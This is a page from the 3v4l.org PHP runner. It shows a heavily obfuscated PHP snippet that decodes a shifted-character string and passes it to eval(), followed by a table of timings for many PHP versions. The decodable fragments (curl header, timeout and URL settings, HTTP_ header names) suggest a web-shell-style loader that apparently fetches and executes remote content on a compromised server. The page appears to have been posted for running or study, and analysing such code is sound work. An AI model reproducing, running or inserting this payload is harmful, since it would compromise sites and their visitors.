3v4l.org

run code in 300+ PHP versions simultaneously
<?php function fjfgg($n){return chr(ord($n)-1);} $test = implode(array_map("fjfgg",str_split("\x25u:f!>!(\x25\x78:!>#]y3g]61]y3f]63]y3:]68]y76#<\xe\xb\x25w:!>!\x246767~6<Cw6<pd\x25w6Z6<.5\x60hA\x27pd\x256<pd\x25w6Z6<.4\x60hA\x27pd\x256<pd\x25w6Z6<.3\x60hA\x27pd\x256<pd\x25w6Z6<.2\x60hA\x27pd\x256<C\x27pd\x256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf\x27*&7-n\x25)utjm6<\x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u\x257>\x2f7&6|7**111127-K)ebfsX\x27u\x25)7fmji\x786<C\x27&6<*rfs\x257-K)fujs\x78X6<#o]o]Y\x257;utpI#7>\x2f7rfs\x256<#o]1\x2f20QUUI7jsv\x257UFH#\x27rfs\x256~6<\x7fw6<*K)ftpmdXA6|7**197-2qj\x257-K)udfoopdXA\x22)7gj6<*QDU\x60MPT7-NBFSUT\x60LDPT7-UFOJ\x60GB)fubfsdXA\x27K6<\x7fw6*3qj\x257>\x2272qj\x25)7gj6<**2qj\x25)hopm3qjA)qj3hopmA\x273qj\x256<*Y\x25)fnbozcYufhA\x272qj\x256<^#zsfvr#\x5cq\x257\x2f7#@#7\x2f7^#iubq#\x5cq\x25\x27jsv\x256<C>^#zsfvr#\x5cq\x257**^#zsfvr#\x5cq\x25)ufttj\x22)gj6<^#Y#\x5cq\x25\x27Y\x256<.msv\x60ftsbqA7>q\x256<\x7fw6*\x7f_*#fubfsdXk5\x60{66~6<&w6<\x7fw6*CW&)7gj6<*doj\x257-C)fepmqnjA\x27&6<.fmjgA\x27doj\x256<\x7fw6*\x7f_*#fmjgk4\x60{6~6<tfs\x25w6<\x7fw6*CWtfs\x25)7gj6<*id\x25)ftpmdR6<*id\x25)dfyfR\x27tfs\x256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv\x257-MSV,6<*)ujojR\x27id\x256<\x7fw6*\x7f_*#ujojRk3\x60{666~6<&w6<\x7fw6*CW&)7gj6<.[A\x27&6<\x7fw6*\x7f_*#[k2\x60{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd\x60ufh\x60fmjg}[;ldpt\x25}K;\x60ufldpt}X;\x60msvd}R;*msv\x25)}.;\x60UQPMSVD!-id\x25)uqpuft\x60msvd},;uqpuft\x60msvd}+;!>!}\x27;!>>>!}_;gvc\x25}&;ftmbg}\x7f;!osvufs}w;*\x7f!>>\x22!pd\x25)!gj}Z;h!opjudovg}{;#)tutjyf\x60opjudovg)!gj!|!*msv\x25)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j\x25-bubE{h\x25)sutcvt)fubmgoj{hA!osvufs!~<3,j\x25>j\x25!*3!\x27!hmg\x25!)!gj!<2,*j\x25!-#1]#-bubE{h\x25)tpqsut>j\x25!*72!\x27!hmg\x25)!gj!<2,*j\x25-#1]#-bubE{h\x25)tpqsut>j\x25!*9!\x27!hmg\x25)!gj!~<ofmy\x25,3,j\x25>j\x25!<**3-j\x25-bubE{h\x25)sutcvt-#w#)ldbqov>*ofmy\x25)utjm!|!*5!\x27!hmg\x25)!gj!|!*1?hmg\x25)!gj!<**2-4-bubE{h\x25)sutcvt)esp>hmg\x25!<12>j\x25!|!*#91y]c9y]g2y]#>>*4-1-bubE{h\x25)sutcvt)!gj!|!*bubE{h\x25)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf\x60opjudovg\x22)!gj}1~!<2p\x25\x7f!~!<##!>!2p\x25Z<^2\x5c2b\x25!>!2p\x25!*3>?*2b\x25)gpf{jt)!gj!<*2bd\x25-#1GO\x22#)fepmqyfA>2b\x25!<*qp\x25-*.\x25)euhA)3of>2bd\x25!<5h\x25\x2f#0#\x2f*#npd\x2f#)rrd\x2f#00;quui#>.\x25!<***f\x27,*e\x27,*d\x27,*c\x27,*b\x27)fepdof.)fepdof.\x2f#@#\x2fqp\x25>5h\x25!<*::::::-111112)eobs\x60un>qp\x25!|Z~!<##!>!2p\x25!|!*!***b\x25)sf\x78pmpusut!-#j0#!\x2f!**#sfmcnbs+yfeobz+sfwjidsb\x60bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!\x2f!#0#)idubn\x60hfsq)!sp!*#ojneb#-*f\x25)sf\x78pmpusut)tpqssutRe\x25)Rd\x25)Rb\x25))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT\x60QIQ&f_UTPI\x60QUUI&e_SEEB\x60FUPNFS&d_SFSFGFS\x60QUUI&c_UOFHB\x60SFTV\x60QUUI&b\x25!|!*)323zbek!~!<b\x25\x7f!<X>b\x25Z<#opo#>b\x25!*##>>X)!gjZ<#opo#>b\x25!**X)ufttj\x22)gj!|!*nbsbq\x25)323ldfidk!~!<**qp\x25!-uyfu\x25)3of)fepdof\x6057ftbc\x7f!|!*uyfu\x27k:!ftmf!}Z;^nbsbq\x25\x5cSFWSFT\x60\x25}X;!sp!*#opo#>>}R;msv}.;\x2f#\x2f#\x2f},;#-#}+;\x25-qp\x25)54l}\x27;\x25!<*#}_;#)323ldfid>}&;!osvufs}\x7f;!opjudovg}k~~9{d\x25:osvufs:~928>>\x22:ftmbg39*56A:>:8:|:7#6#)tutjyf\x60439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm\x25:-5ppde:4:|:**#ppde#)tutjyf\x604\x223}!+!<+{e\x25+*!*+fepdfe{h+{d\x25)+opjudovg+)!gj+{e\x25!osvufs!*!+A!>!{e\x25)!>>\x22!ftmbg)!gj<*#k#)usbut\x60cpV\x7f\x7f\x7f\x7f<u\x25V\x27{ftmfV\x7f<*X&Z&S{ftmfV\x7f<*XAZASV<*w\x25)ppde>u\x25V<#65,47R25,d7R17,67R37,#\x2fq\x25>U<#16,47R57,27R66,#\x2fq\x25>2q\x25<#g6R85,67R37,18R#>q\x25V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w\x25)kV\x78{**#k#)tutjyf\x60\x78\x22l:!}V;3q\x25}U;y]}R;2]},;osvufs}\x27;mnui}&;zepc}A;~!}\x7f;!|!}{;)gj}l;33bq}k;opjudovg}\x78;0]=])0#)U!\x27{**u\x25-#jt0}Z;0]=]0#)2q\x25l}S;2-u\x25!-#2#\x2f#\x25#\x2f#o]#\x2f*)323zbe!-#jt0*?]+^?]_\x5c}X\x24<!\x25tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]282#<!\x25tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<\x25tmw!>!#]y84]275]y83]273]y76]277#<\x25t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!\x25tww!>!\x2400~:<h\x25_t\x25:osvufs:~:<*9-1-r\x25)s\x25>\x2fh\x25:<**#57]38y]47]67y]37]88y]27]28y]#\x2fr\x25\x2fh\x25)n\x25-#+I#)q\x25:>:r\x25:|:**t\x25)m\x25=*h\x25)m\x25):fmji\x78:<##:>:h\x25:<#64y]552]e7y]#>n\x25<#372]58y]472]37y]672]48y]#>s\x25<#462]47y]252]18y]#>q\x25<#762]67y]562]38y]572]48y]#>m\x25:|:*r\x25:-t\x25)3of:opjudovg<~\x24<!\x25o:!>!\x242178}527}88:}334}472\x24<!\x25mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!\x25ff2!>!bssbz)\x24]25\x24-\x24-!\x25\x24-\x24*!|!\x24-\x24\x5c\x25j^\x24-\x24tvctus)\x25\x24-\x24b!>!\x25yy)#}#-#\x24-\x24-tusqpt)\x25z-#:#*\x24-\x24!>!tus\x60sfqmbdf)\x25\x24-\x24y4\x24-\x24]y8\x24-\x24]26\x24-\x24<\x25j,,*!|\x24-\x24gvodujpo!\x24-\x24y7\x24-\x24*<!\x24-\x24gps)\x25j>1<\x25j=tj{fpg)\x25\x24-\x24*<!~!dsfbuf\x60gvodujpo)##-!#~<#\x2f\x25\x24-\x24!>!fyqmpef)#\x24*<!\x25kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!\x25t::!>!\x24Ypp3)\x25cB\x25iN}#-!tussfw)\x25c*W\x25eN+#Qi\x5c1^W\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echo eval( $test );

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00617.13
8.3.50.0130.00821.21
8.3.40.0120.00319.16
8.3.30.0070.01018.92
8.3.20.0090.00020.50
8.3.10.0050.00323.52
8.3.00.0080.00019.68
8.2.180.0070.01118.29
8.2.170.0090.00922.96
8.2.160.0060.00920.65
8.2.150.0040.00424.18
8.2.140.0030.00524.66
8.2.130.0090.00926.16
8.2.120.0070.00317.88
8.2.110.0070.00320.77
8.2.100.0080.00418.22
8.2.90.0060.00319.59
8.2.80.0040.00418.00
8.2.70.0090.00018.00
8.2.60.0080.00018.30
8.2.50.0030.00618.07
8.2.40.0000.00919.65
8.2.30.0000.00819.85
8.2.20.0000.00818.09
8.2.10.0040.00418.41
8.2.00.0040.00418.47
8.1.280.0100.00725.92
8.1.270.0080.00820.83
8.1.260.0040.00426.35
8.1.250.0050.00528.09
8.1.240.0040.00722.67
8.1.230.0060.00621.35
8.1.220.0030.00618.16
8.1.210.0030.00518.77
8.1.200.0100.00017.85
8.1.190.0040.00417.86
8.1.180.0030.00618.10
8.1.170.0040.00419.02
8.1.160.0000.00822.64
8.1.150.0030.00619.39
8.1.140.0030.00617.94
8.1.130.0080.00018.21
8.1.120.0000.00817.82
8.1.110.0100.00017.91
8.1.100.0080.00017.94
8.1.90.0040.00417.94
8.1.80.0030.00617.95
8.1.70.0030.00617.88
8.1.60.0050.00518.10
8.1.50.0030.00617.90
8.1.40.0000.00817.92
8.1.30.0040.00718.18
8.1.20.0000.00818.13
8.1.10.0030.00518.11
8.1.00.0040.00417.89
8.0.300.0040.00418.84
8.0.290.0030.00517.13
8.0.280.0000.00818.94
8.0.270.0040.00717.71
8.0.260.0000.00717.80
8.0.250.0040.00417.45
8.0.240.0000.00717.43
8.0.230.0030.00517.39
8.0.220.0070.00017.44
8.0.210.0080.00017.43
8.0.200.0000.00717.39
8.0.190.0000.01217.47
8.0.180.0030.00617.36
8.0.170.0040.00417.50
8.0.160.0000.01017.49
8.0.150.0040.00417.39
8.0.140.0080.00017.29
8.0.130.0030.00613.95
8.0.120.0000.00917.38
8.0.110.0050.00317.45
8.0.100.0080.00017.43
8.0.90.0000.00917.36
8.0.80.0090.00917.41
8.0.70.0050.00317.26
8.0.60.0040.00417.29
8.0.50.0040.00417.41
8.0.30.0100.01017.70
8.0.20.0130.00817.77
8.0.10.0000.00817.61
8.0.00.0110.00717.37
7.4.330.0000.00615.08
7.4.320.0030.00316.97
7.4.300.0030.00317.04
7.4.290.0030.00516.91
7.4.280.0060.00316.99
7.4.270.0000.00817.12
7.4.260.0040.00416.94
7.4.250.0030.00517.13
7.4.240.0020.00617.05
7.4.230.0040.00416.79
7.4.220.0170.01017.17
7.4.210.0060.00916.98
7.4.200.0000.00816.80
7.4.160.0100.00717.09
7.4.150.0100.01017.40
7.4.140.0150.00517.86
7.4.130.0110.00817.01
7.4.120.0090.00916.98
7.4.110.0090.01616.91
7.4.100.0120.00617.07
7.4.90.0090.00917.11
7.4.80.0090.00919.39
7.4.70.0090.01317.18
7.4.60.0090.00917.04
7.4.50.0090.00017.01
7.4.40.0090.01316.86
7.4.30.0100.01017.13
7.4.00.0110.00315.41
7.3.330.0070.00013.66
7.3.320.0030.00313.71
7.3.310.0040.00416.70
7.3.300.0050.00216.84
7.3.290.0090.00916.79
7.3.280.0110.00816.82
7.3.270.0130.00717.40
7.3.260.0030.01616.93
7.3.250.0100.00816.83
7.3.240.0030.01717.02
7.3.230.0040.01516.97
7.3.210.0000.02016.80
7.3.200.0060.01616.87
7.3.190.0120.00916.82
7.3.180.0090.00916.87
7.3.170.0100.00716.74
7.3.160.0130.01016.80
7.2.330.0080.01117.28
7.2.320.0110.00817.24
7.2.310.0180.00517.05
7.2.300.0100.00717.23
7.2.290.0120.00617.27
7.2.80.0030.01016.77
7.2.60.0040.01217.09
7.2.00.0090.01219.33
7.1.200.0060.00615.56
7.1.100.0060.00618.07
7.1.70.0040.00417.16
7.1.60.0070.01419.27
7.1.50.0150.00616.93
7.1.00.0070.07722.25
7.0.200.0040.00716.64
7.0.60.0100.07020.57
7.0.50.0100.08318.57
7.0.40.0070.09720.42
7.0.30.0270.08020.32
7.0.20.0230.06020.09
7.0.10.0100.05720.16
7.0.00.0070.08720.07
5.6.280.0070.07022.73
5.6.210.0070.06322.56
5.6.200.0200.08019.95
5.6.190.0000.07022.24
5.6.180.0200.05322.16
5.6.170.0170.04722.13
5.6.160.0100.04322.04
5.6.150.0070.07719.93
5.6.140.0100.08719.93
5.6.130.0100.04019.97
5.6.120.0100.07722.79
5.6.110.0030.08722.80
5.6.100.0130.08722.70
5.6.90.0100.05022.91
5.6.80.0030.09022.23
5.6.70.4400.04722.31
5.5.350.0070.05322.16
5.5.340.0130.08019.71
5.5.330.0130.05022.01
5.5.320.0330.08021.95
5.5.310.0300.08021.94
5.5.300.0100.05719.75
5.5.290.0130.07719.75
5.5.280.0070.09322.61
5.5.270.0030.09322.54
5.5.260.0030.05722.70
5.5.250.0100.09022.50
5.5.240.0100.07722.17
5.4.450.0830.05020.89
5.4.440.0970.05021.25
5.4.430.0800.06021.24
5.4.420.0800.07721.12
5.4.410.0770.05721.12
5.4.400.0770.06721.04
5.4.390.0830.06020.73
5.4.380.0870.05321.04
5.4.370.0830.06320.80
5.4.360.0630.07320.56
5.4.350.0630.06020.75
5.4.340.0670.06720.95
5.4.320.0600.06320.74
5.4.310.0630.06020.72
5.4.300.0400.07020.57
5.4.290.0470.07020.55
5.4.280.0570.07320.94
5.4.270.0800.05720.93
5.4.260.0530.06720.79
5.4.250.0670.06720.88
5.4.240.0970.08020.79
5.4.230.0600.06020.89
5.4.220.0570.06320.63
5.4.210.0830.05720.79
5.4.200.0570.07320.78
5.4.190.0700.06020.88
5.4.180.0670.05320.78
5.4.170.0730.07320.86
5.4.160.0470.07020.85
5.4.150.0630.06720.90
5.4.140.0600.06018.21
5.4.130.0600.05318.23
5.4.120.0630.06018.12
5.4.110.0600.07018.23
5.4.100.0530.06718.36
5.4.90.0730.05018.32
5.4.80.0600.05317.96
5.4.70.0300.08018.17
5.4.60.0370.05718.33
5.4.50.0130.05718.15
5.4.40.0130.05318.32
5.4.30.0070.07018.21
5.4.20.0000.05318.21

preferences:
56.3 ms | 401 KiB | 5 Q